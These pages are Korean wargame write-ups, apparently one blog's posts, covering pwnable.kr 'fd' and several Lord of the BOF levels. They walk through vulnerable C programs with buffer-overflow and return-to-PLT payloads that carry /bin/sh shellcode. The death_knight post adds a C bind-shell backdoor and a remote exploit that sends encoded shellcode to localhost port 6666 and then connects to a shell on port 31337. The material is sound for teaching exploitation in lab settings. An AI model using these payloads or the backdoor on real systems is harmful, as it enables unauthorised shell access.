Wargame



pwnalbe.kr 시작합니다~~~


먼저 fd라는 1pt문제부터 시작.



Mommy! what is a file descriptor in Linux?


* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:

https://youtu.be/971eZhMHQQw


ssh fd@pwnable.kr -p2222 (pw:guest) 


file descriptor에 대한 문제같다. 먼저 ssh로 저 주소로 접속해보자.



와우... 접속이 되고 기본적인 설명이 되어있다. 일단 파일이 무엇이 있는지 살펴보자.



저런것들이 있고, CTF나 Wargame류에서 흔히 그러듯 flag가 있다. 

하지만 flag의 읽기권한이 우리에겐 없으므로 읽는 것은 불가능하다.


여기서 fd를 보면 setuid가 걸려있어 프로그램을 실행하면 fd_pwn의 권한으로 일을 하게된다.

저 fd가 무엇을 하는지 알기 위해 fd.c를 보자.


(그전에 https://youtu.be/971eZhMHQQw에서 scp를 이용해서 파일을 내 서버로 가져오는 법을 배웠다.)


scp -P2222 fd@143.248.249.64:fd .

scp -P2222 fd@143.248.249.64:fd.c .


만약 바이너리파일만 주어지면 이렇게 내 서버로 가져와서 사용해보는 것도 나쁘지않아보인다.


그럼 한번 fd.c의 내용을 보자


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
 
}
 
cs


buf를 전역변수로 두고, 첫번째 인자로 받은 값을 atoi로 정수로 바꾸어 -0x1234를 한후 fd에 넣어준다.


그리고 read(fd, buf, 32);를 수행하여 32값을 읽어와 buf에 저장해준다. 먼저 read에 대해 알아보자.


man read



함수원형

  #include <unistd.h>

  ssize_t read(int fd, void *buff, size_t nbytes);


리턴값

  반환 값: 읽어온 바이트 수, 실패 시 -1, 파일의 끝에서 시도하면 0


여기서 read의 첫번째 인자 fd : 파일 서술자

두번째 인자는 *buff  : 읽어와서 저장할 버퍼

새번째 인자는 nbytes : 읽을 수 있는 최대 byte의 수


이다. 첫번째 인자로 들어가는 fd는 int형인데, 이는 파일 디스크립터가 C int 타입으로 표현되기 때문이다. (최대값은 1024이지만 1048576번까지 설정가능하다한다)

이 때, 0,1,2 번은 사전에 배정되어 있고 각각 아래와 같다. 


0 : 표준 입력 (stdin) / 1 : 표준 출력 (stdout) / 2 : 표준 오류 (stderr)


따라서 실제 하나의 파일을 생성하게 되면 “3번” 부터 File Descriptor가 부여된다고한다.

보통 사용할때 fd = open("path/", option)으로 먼저 fd에 번호를 부여한후에 read로 읽는게 대부분이다.


그러므로 fd값을 0으로 주면 stdin을 이용하여 buf에 우리가 원하는 값을 입력할 수 있게된다.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
 
}
 
 
cs


자 이제 문제로 돌아와서 코드를 한번 살펴보자.

fd를 설정한 후, len = read(fd, buf, 32); 를 통해 buf에 최대 32자를 받은후


strcmp를 통해 "LETMEWIN"이라는 문자열과 비교한다. 만약 같다면 0을 리턴하므로 if문이 실행되고

good job이라는 메세지와 함께 system("/bin/cat flag");를 수행하는 모습을 볼 수 있다.


fd는 setuid가 걸려 fd_pwn권한으로 실행되어 flag를 볼 수 있을 것이다.


그러므로 우리는 fd=0으로 만들어주기만하면 된다.

fd = atoi(argv[1]) - 0x1234이고, 0x1234는 4660이므로 ./fd 4660을 실행하면 우리가 원하는 값을 buf에 표준입력(stdin)으로 넣어줄수 있다.



mommy! I think I know what a file descriptor is!!


굿!!




'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01
[pwnable.kr] cmd1 - 1 pt  (0) 2018.05.01
[pwnable.kr] shellshock - 1 pt  (0) 2018.05.01
[pwnable.kr] mistake - 1 pt  (0) 2018.04.27
[pwnable.kr] random - 1 pt [Toddler's Bottle]  (0) 2018.04.25
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - hell_fire
    - Remote BOF on Fedora Core 3 
    - hint : another fake ebp or got overwriting 
    - port : TCP 7777
*/
 
#include <stdio.h>
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    char temp[1024];
  
    printf("hell_fire : What's this smell?\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    printf("%s\n", buffer);
}
 
 
cs


일단 문제는 위와 같고.


이 문제를 another fake ebp로 해서 system함수를 불러와 풀려하였으나 실패하였다;


leave-ret을 2번 호출하여 ebp,esp를 stdin의 영역으로 보내고 거기서 system함수와 인자를 올려놓았으므로 호출하면 될 것같았으나;;

계속 죽어버린다 ㅡㅡ;; 참고로 system대신 execve를 썻을때는 이상하게 성공한다;;


이를 gdb로 분석해보니 아래와 같이 나온다.


먼저 system함수로 갈때이다.



이상한 주소에서 죽어버리고, 저 주소는 system함수가 아닌것 같다.



그리고 stdin의 상태를 보면 중간에 0x0000000 값들이나 일부 값들이 변경된것을 볼 수 있다.


아마 system함수를 실행하면 stdin에 어떤 동작을 하는것이거나 무슨 문제가 생긴것같다;.... 대체 왜 저런지는 아직 모르겠다.


다음으로 system함수 대신 execve함수를 실행했을 때다. 이것은 일부러 인자에 오류를 내보았다.



execve함수 안에서 죽는다.



system함수와는 다르게 그렇게 많이 변경되지는 않는다...


으마ㅏㅏㅣ이릐ㅏ


대체 뭐가 문제인거야 ㅡㅡ;


혹시 아시는 분은 알려주세요...





'Wargame > LOB' 카테고리의 다른 글

[LOB FC3] iron_golem -> dark_eyes  (0) 2018.04.25
[LOB FC3] gate -> iron_golem  (0) 2018.04.25
[LOB] xavius -> death_knight  (0) 2018.04.04
[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] succubus -> nightmare  (0) 2018.04.03

[LOB] xavius -> death_knight

2018. 4. 4. 12:40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/
 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>
 
main()
{
    char buffer[40];
 
    int server_fd, client_fd;  
    struct sockaddr_in server_addr;   
    struct sockaddr_in client_addr; 
    int sin_size;
 
    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }
 
    server_addr.sin_family = AF_INET;        
    server_addr.sin_port = htons(6666);   
    server_addr.sin_addr.s_addr = INADDR_ANY; 
    bzero(&(server_addr.sin_zero), 8);   
 
    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }
 
    if(listen(server_fd, 10== -1){
        perror("listen");
        exit(1);
    }
        
    while(1) {  
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }
            
        if (!fork()){ 
            send(client_fd, "Death Knight : Not even death can save you from me!\n"520);
            send(client_fd, "You : "60);
            recv(client_fd, buffer, 2560);
            close(client_fd);
            break;
        }
            
        close(client_fd);  
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
}
 
 
cs


시작

힌트는 remote BOF이다. nc로 접속해보려했더니 안되서 telnet으로 접속했다.



소스코드를 보면 포트 6666을 열어두고 여기로 접속하면, 사용자로부터 256자를 받는다.

원격으로 접속하지않고 그냥 프로그램을 실행하게 되면 bind: Address already in use 라고 뜨는데 

이건 소켓 바인딩 후 포트가 열린채로 프로세스가 살아 있기 때문에 중복으로 같은 포트로 바인딩을 시도하면 발생하는 오류라고 한다.


이미 포트 6666으로 열려있어서 그런것같다.



으아 아아아... 뭘 입력해도 Connection closed by foreign host.가 뜨고 종료된다. 성공했는지 실패했는지도 알 수 가 없다.

일단 http://bbolmin.tistory.com/51에 remote bof에 대해 설명해놓아서 보고왔다.


그 외 해커스쿨 : 

http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt

http://research.hackerschool.org/Datas/Research_Lecture/remote2.txt


왜 그냥 계속 종료되는지 이유를 알았다.

Xinetd와 연결되지 않는 독립적인 네트워크 프로그램. 즉, 직접 socket을 생성하고, bind와 listen 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의 입력과 출력은 프로그램 내에 구현된 send()와 recv() 등의 함수에 의한 통신만 가능하다.
따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가 서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다. 결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는것이다.

즉.. 공격자가 공격에 성공하여 쉘을 획득했다하더라도, 프로그램에 구현된 send()와 recv()를 통해서만 통신이 가능한데, 이미 이 역할은 끝나버렸으므로 쉘을 획득하여도 공격자와 이 쉘이 서로 통신할 수 있는 매개체가 없는 것이다.


그래서 이 때 쓸 수 있는 쉘코드로 BindShell이라는 것이 있다.

하지만, 가장 효율적이고 실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 있게 된다. 

바인드 쉘 프로그램을 C언어로 구현한 것 중 하나를 가져와봤다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        int sockfd, your_sockfd, len;
        struct sockaddr_in my_addr, your_addr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(12345);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&my_addr.sin_zero, 08);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){
                perror("bind");
                exit(-1);
        }
        listen(sockfd, 5);
 
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        dup2(your_sockfd, 0);    // 표준 입력을 클라이언트로..
        dup2(your_sockfd, 1);    // 표준 출력을 클라이언트로..
        dup2(your_sockfd, 2);    // 에러 출력을 클라이언트로..
 
        execl("/bin/bash""bash"0);
 
        close(sockfd);
        close(your_sockfd);
}
cs



해캠에서 가져온 소스를 조금 수정해서 공격해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
void Get_Shell(int sockfd)
{
        int length;
        char data[1024];
        fd_set read_fds;
 
        while(1){
                FD_ZERO(&read_fds);
                FD_SET(sockfd, &read_fds);
                FD_SET(0&read_fds);
 
                select(sockfd+1&read_fds, NULLNULLNULL);
 
                // 소켓으로부터 data가 왔을 때의 처리.
                if(FD_ISSET(sockfd, &read_fds)){
                        length = recv(sockfd, data, 10240);
                        // 받은 내용을 화면에 출력한다.
                        if(write(1, data, length) == 0)
                                break;
                }
 
                // 공격자가 키보드를 입력했을 때의 처리.
                if(FD_ISSET(0&read_fds)){
                        length = read(0, data, 1024);
                        // 입력한 내용을 쉘백도어로 전송한다.
                        if(send(sockfd, data, length, 0== 0)
                                break;
                }
        }
}
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(31337);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 08);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                // 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결.
                send(sockfd, "uname -a;id\n"120);
                Get_Shell(sockfd);
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[300], Cmd[400];
        int Ret_Addr = 0xbfffffff;
 
        memset(Attack_String, '\x90'256);
    //memset(Attack_String, 'A', 48);
        memcpy(Attack_String+100, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[44], &Ret_Addr, 4);
                Ret_Addr -= 52;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | telnet localhost 6666", Attack_String);
                system(Cmd);
        
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        
        }
}
 
cs


근데 이게 안된다.... 하ㅏ;;;


한참 삽질하다가 왠지 왜 안되는지 모르겠다 ㅇㅇ;


일단 저 sprintf로 telnet localhost 6666에 echo해서 어택스트링을 넣는데 이걸 이렇게 쓰지말고 socket으로 연결해서 send해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
 
int main()
{
        char Attack_String[300];
        int Ret_Addr = 0xbfffffff;
    int sockfd;
        struct sockaddr_in target_addr;
        
        memset(Attack_String, '\x90'256);
        memcpy(Attack_String+100, shellcode, strlen(shellcode));
 
        while(1){
            memset(&target_addr, 0sizeof(target_addr));
            target_addr.sin_family = AF_INET;
            target_addr.sin_port = htons(6666);
            target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
 
 
            sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
            if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                    printf("connect error!\n");
                    close(sockfd);
                    return 0;
            }
            memcpy(Attack_String+44&Ret_Addr, 4);
            Ret_Addr -= 52;
            
            printf("%p\n", Ret_Addr);
            send(sockfd, Attack_String, strlen(Attack_String), 0);
            
            system("telnet localhost 31337");
            close(sockfd);
            sleep(1);
        }
        
}
 
cs


위와 같이 짜서 공격하였다.


이제는 된다;;




찾아보니 BindShell말고도 리버스쉘이라고 공격자의 열려있는 포트로 서버가 접속하도록 하는 것이 있다.

이 문제는 리버스쉘로 푼 사람들이 많다. 


바인드쉘은 서버가 다른 포트를 열게하는 것이라면, 리버스쉘은 서버가 공격자의 서버로 접속하게 하는것!


리버스쉘  https://www.exploit-db.com/exploits/25497/


위에 가면 리버스쉘을 구성할 수 있다. 나중에 심심하면 한번 해보자.





[LOB] nightmare -> xavius

2018. 4. 3. 23:39
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
    char buffer[40];
    char *ret_addr;
 
    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);
 
    if(*(buffer+47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
    if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+444);
    while(memcmp(ret_addr, "\x90\x90"2!= 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1== '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++
    }
 
        // stack destroyer
        memset(buffer, 044);
    memset(buffer+4800xbfffffff - (int)(buffer+48));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs


시작


코드분석! fgets으로 입력을 256까지 받고 여기서 오버플로우가 발생한다.


buffer+47(ret+3)의 값이 0xbf이나 0x08이면 exit한다. ret주소를 검사해서 라이브러리나 스택으로 점프하는 것을 막는 코드다.

또 while문에 들어가 ret의 주소에 있는 값이 nop nop(0x9090)이 아니라면 이 값을 만날때까지 반복하여 코드에 leave-ret 값이 있나 검사해 있다면 exit한다. (이것도 라이브러리로 못가게하는 코드)

그리고 ret를 제외한 buffer~스택영역을 파괴한다;; 덤으로 LD_PRELOAD도 지워버린다.


정리하면 ret에 스택X, 라이브러리X, LD_PRELOAD X 이다.


힌트를 보면 arg이고... 일단 gdb로 한번 분석해보아야겠다.

아아.. 이제보니 stdin이 있었네


일단 stdin의 주소를 구해보자.


0x8049a3c


저곳을 한번 살펴보자.



stdin 구조체를 살펴보면 stdin+4의 주소에 0x40015099가 있고 뒤에 한번더 반복되는데 이게 end of prt 라고 입력이 끝난 시점의 메모리 위치이고

그 뒤에 몇번 반복되는 0x40015000이 start of prt입력이 시작되는 위치라고 한다. 그래서 내가 입력한 값이 여기에 저장되있을것이다.



그렇다.. 저기가 stdin 입력버퍼부분이다.. 이제 저기에 쉘코드를 넣고 주소값을 저기로 돌려주면 되겠다.


0x40015000을 ret값으로 입력하려하면 "\x00\x50\x01\x40"으로 "\x00", null값이 들어가므로 0x40015004부터 쉘코드를 넣고 점프하는게 좋겟다.


payload : "AAAA"(4) + "쉘코드"(25) + "NOP"(15) + "ret_쉘코드의주소(0x40015004)"(4)


(python -c 'print("A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x04\x50\x01\x40")'; cat) | ./xavius



성공




[LOB] succubus -> nightmare

2018. 4. 3. 00:36
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&strcpy;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
    // dangerous waterfall
    memset(buffer+40+8'A'4);
}
 
cs


시작


힌트로 plt라고 나와있다. plt가 무엇이냐면..


  • PLT (Procedure Linkage Table) : 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.
  • GOT (Global Offset Table) : PLT가 참조하는 테이블. 프로시저들의 주소가 들어있다.

함수를 호출하면(PLT를 호출하면) GOT로 점프하는데 GOT에는 함수의 실제 주소가 쓰여있다. 첫 번째 호출이라면 GOT는 함수의 주소를 가지고 있지 않고 ‘어떤 과정’을 거쳐 주소를 알아낸다. 두 번째 호출 부터는 첫 번째 호출 때 알아낸 주소로 바로 점프한다. 


....


문제로 돌아와서 ret에 strcpy의 주소를 넣지않으면 exit한다.


그리고 마지막에 가면 memset으로 ret+4의 주소에 AAAA를 넣는다.



strcpy의 주소는 0x400767b0이다. 하지만 이 주소는 strcpy@plt가 아니라서 시도해보니 되지않았다;;

plt값을 알아보자



strcpy@plt : 0x8048410




코어덤프를 gdb에 넣어보니 strcpy가 호출되고 0x43434343, 0x44444444가 들어간것을 보니 잘 실행되었다.


그러나... strcpy가 끝나고 다음으로 실행하게될 ret의 주소가 AAAA로 덮어써져있어서 다음 함수로의 실행이 불가능하다. 

memset(buffer+40+8'A'4);


0xbffff690에 있는 값을 쉘코드의 주소로 덮으면 된다.



저 0x41414141이 있는 곳에 쉘코드의 주소를 넣을 것이다. 저곳의 주소는 0xbffffc2b이다.


strcpy(0xbffff690, 0xbffffc2b)가 실행되게 할것이다.


그리고 0xbffffc2b에는 쉘코드의 주소를 넣자, 적당히 0xbffff8c8 정도면 될 것 같다.


payload : ./nightmare `python -c 'print("A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x90\xf6\xff\xbf"+"\x2b\xfc\xff\xbf"+"     "+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xc8\xf8\xff\xbf"+"\00")'`


위와 같이 해서 공격하면될것같다. 마지막에 \x00은 strcpy할 때 NULL값까지 복사하므로 넣어주엇다.



성공~



'Wargame > LOB' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2018.04.04
[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
// the inspector
int check = 0;
 
void MO(char *cmd)
{
        if(check != 4)
                exit(0);
 
        printf("welcome to the MO!\n");
 
    // olleh!
    system(cmd);
}
 
void YUT(void)
{
        if(check != 3)
                exit(0);
 
        printf("welcome to the YUT!\n");
        check = 4;
}
 
void GUL(void)
{
        if(check != 2)
                exit(0);
 
        printf("welcome to the GUL!\n");
        check = 3;
}
 
void GYE(void)
{
    if(check != 1)
        exit(0);
 
    printf("welcome to the GYE!\n");
    check = 2;
}
 
void DO(void)
{
    printf("welcome to the DO!\n");
    check = 1;
}
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // you cannot use library
    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&DO;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
        // stack destroyer
    // 100 : extra space for copied argv[1]
        memset(buffer, 044);
    memset(buffer+48+10000xbfffffff - (int)(buffer+48+100));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs


시작


소스코드를 보자. 일단 라이브러리로 점프못하게 해놓았다. 그리고 버퍼와 SFP를 지우고


ret에서부터 100의 공간을 나둔후 전부 지워버린다. LD_PRELOAD도 지워버린다.


payload는 buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + "/bin/sh"의 주소로 하면 될 것 같다.


일단 저 주소들을 다 구하자..



gdb를 통해 주소들을 다 구했다.


0x80487ec <DO>

0x80487bc <GYE>

0x804878c <GUL>

0x804875c <YUT>

0x8048724 <MO>



아마 여유공간에 "/bin/sh"문자열 등을 집어넣고 나중에 인자값으로 쓰란것같은데... 그냥 귀찮아서 system함수내에 있는 "/bin/sh"를 찾아서 쓰겠다.



"/bin/sh"의 주소


payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"



아 소스코드를 제대로 안봤다;;

    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }


로 그냥 argv[1]안에 0x40이 못들어간다.


payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"+"/bin/sh"+"\0"


이렇게하기로 했다.



payload : ./succubus `python -c 'print("A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x68\xfa\xff\xbf"+"/bin/sh"+"\x00")'`



클리어!!!

'Wargame > LOB' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] succubus -> nightmare  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
        if(argv[1][47== '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }
 
    // strncpy instead of strcpy!
    strncpy(buffer, argv[1], 48); 
    printf("%s\n", buffer);
}
 
cs

힌트로 FEBP가 주어졌다. FakeEBP를 이용하란것 같다.

일단 저번과 비슷한 소스다. 라이브러리와 스택으로 점프못하게 필터링을 해놓았다.

그리고 strncpy로 복사할 문자열수를 48까지로 잡아놔서... 저번과 같이 ret sled는 못할것같다.


하란대로 FakeEBP를 이용하자.


헷갈리므로 RET가 리턴어드레스이고 ret가 에필로고 leave-ret의 ret라고 하겠다.


1. 먼저 SFP를 argv[1]의 값이 있는 곳의 주소로 덮고 RET를 leave-ret의 주소로 덮는다.


---------------------------------------------------

  |  Buf  |  SFP  |  RET  |  argv  |

---------------------------------------------------

↑       ↑

esp    ebp


2. main이 종료되면서 첫번째 leave-ret이 수행된다.

mov esp ebp, pop ebp가 수행되고 ebp에는 FakeEBP가 자리잡는다.


---------------------------------------------------

  |  Buf  |  SFP(fake)  |  RET(leave-ret)  |  argv  |

---------------------------------------------------

   ↑

             esp,ebp


---------------------------------------------------

  |  Buf  |  SFP(fake)  |  RET(leave-ret)  |  argv  |

---------------------------------------------------

               ↑

                                   esp


그리고 ret이 수행되어 두번째 leave-ret으로 뛰게 된다.


